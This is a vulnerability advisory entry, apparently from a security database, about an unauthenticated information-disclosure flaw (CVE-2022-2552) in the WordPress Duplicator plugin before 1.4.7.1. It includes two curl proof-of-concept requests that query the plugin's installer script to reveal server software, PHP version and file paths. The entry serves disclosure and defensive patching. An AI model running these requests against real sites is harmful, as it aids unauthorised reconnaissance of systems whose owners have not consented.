Lucene search
Ihsan SencanWPVDB-ID:6B540712-FDA5-4BE6-AE4B-BD30A9D9D698HistoryAug 01, 2022 - 12:00 a.m.
Duplicator < 1.4.7.1 - Unauthenticated System Information Disclosure
2022-08-0100:00:00
Ihsan Sencan
wpscan.com
18
plugin
unauthenticated
system
information
disclosure
server
php
path
poc
curl
EPSS
0.017
Percentile
87.9%
The plugin does not authenticate or authorize visitors before displaying information about the system such as server software, php version and full file system path to the site.
PoC
1. curl ‘http://example.com/wp-content/backups-dup-lite/dup-installer/main.installer.php?view=1’ 2. curl -d view ‘http://example.com/wp-content/backups-dup-lite/dup-installer/main.installer.php?debug=1’
Related
nvd
nvd
CVE-2022-2552
2022-08-22 15:15:15
patchstack
patchstack
cvelist
cvelist
prion
prion
Path traversal
2022-08-22 15:15:00
zdt
zdt
WordPress Duplicator 1.4.7 Plugin - Information Disclosure Vulnerability
2022-08-01 00:00:00
cve
cve
CVE-2022-2552
2022-08-22 15:15:15
packetstorm
packetstorm
WordPress Duplicator 1.4.7 Information Disclosure
2022-08-01 00:00:00
openvas
openvas
WordPress Duplicator Plugin < 1.4.7.1 Information Disclosure Vulnerability
2022-08-23 00:00:00
exploitdb
exploitdb
WordPress Plugin Duplicator 1.4.7 - Information Disclosure
2022-08-01 00:00:00
wpexploit
wpexploit
Duplicator < 1.4.7.1 - Unauthenticated System Information Disclosure
2022-08-01 00:00:00